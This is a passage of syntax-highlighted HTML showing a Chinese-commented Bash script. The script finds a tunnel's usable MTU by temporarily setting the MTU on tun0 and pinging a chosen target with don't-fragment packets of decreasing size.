&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -o &amp;lt;字节&amp;gt; 隧道包头开销 (默认: &lt;/span&gt;&lt;span class="nv"&gt;$TUNNEL_OVERHEAD&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -s &amp;lt;起始值&amp;gt; 自定义测试起始值 (需要 -e 和 -p 配合)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -e &amp;lt;结束值&amp;gt; 自定义测试结束值&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -p &amp;lt;步长&amp;gt; 自定义测试步长 (必须为负数)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; -h 显示帮助信息&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 参数解析&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;getopts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;t:fho:s:e:p:&amp;#34;&lt;/span&gt; opt&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nv"&gt;$opt&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt; t&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt; f&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;USE_FULL_RANGE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt; o&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;TUNNEL_OVERHEAD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt; s&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;CUSTOM_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt; e&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;CUSTOM_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt; p&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;CUSTOM_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt; h&lt;span class="o"&gt;)&lt;/span&gt; show_help &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt; *&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;无效选项: -&lt;/span&gt;&lt;span class="nv"&gt;$OPTARG&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;2&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置目标&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;$DEFAULT_TARGET&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置测试范围&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_START&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_END&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_STEP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;使用自定义测试范围: &lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_START&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_END&lt;/span&gt;&lt;span class="s2"&gt; (步长 &lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_STEP&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_START&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_END&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_STEP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$USE_FULL_RANGE&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;使用完整测试范围: &lt;/span&gt;&lt;span class="nv"&gt;$FULL_START&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$FULL_END&lt;/span&gt;&lt;span class="s2"&gt; (步长 &lt;/span&gt;&lt;span class="nv"&gt;$FULL_STEP&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$FULL_START&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$FULL_END&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$FULL_STEP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;使用快速测试范围: &lt;/span&gt;&lt;span class="nv"&gt;$QUICK_START&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="nv"&gt;$QUICK_END&lt;/span&gt;&lt;span class="s2"&gt; (步长 &lt;/span&gt;&lt;span class="nv"&gt;$QUICK_STEP&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_START&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$QUICK_START&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_END&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$QUICK_END&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;TEST_STEP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$QUICK_STEP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 验证自定义步长&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_STEP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$CUSTOM_STEP&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -ge &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误: 自定义步长必须是负数!&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算实际MTU值时需添加头部大小&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;HEADER_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt; &lt;span class="c1"&gt;# IP头(20字节) + ICMP头(8字节)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;SUCCESS_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置临时MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;TEMP_MTU&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="nv"&gt;$TEMP_MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;设置临时MTU为&lt;/span&gt;&lt;span class="nv"&gt;$TEMP_MTU用于测试&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# MTU测试函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;test_mtu_range&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$TEST_START&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$size&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; -ge &lt;span class="nv"&gt;$TEST_END&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;packet_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;size &lt;span class="o"&gt;-&lt;/span&gt; HEADER_SIZE&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$packet_size&lt;/span&gt; -le &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;无效测试大小: &lt;/span&gt;&lt;span class="nv"&gt;$size&lt;/span&gt;&lt;span class="s2"&gt; (结果值: &lt;/span&gt;&lt;span class="nv"&gt;$packet_size&lt;/span&gt;&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;size &lt;span class="o"&gt;+&lt;/span&gt; TEST_STEP&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -n &lt;span class="s2"&gt;&amp;#34;测试包大小: &lt;/span&gt;&lt;span class="nv"&gt;$size字节&lt;/span&gt;&lt;span class="s2"&gt; (MTU等效值: &lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;size &lt;span class="o"&gt;+&lt;/span&gt; TUNNEL_OVERHEAD&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;字节)... &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; ping -c &lt;span class="m"&gt;2&lt;/span&gt; -M &lt;span class="k"&gt;do&lt;/span&gt; -s &lt;span class="nv"&gt;$packet_size&lt;/span&gt; &lt;span class="nv"&gt;$TARGET&lt;/span&gt; &amp;gt;/dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;成功!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;SUCCESS_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$size&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;失败&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 避免无限循环&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$TEST_STEP&lt;/span&gt; -eq &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;警告: 步长为0可能导致无限循环!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt; 
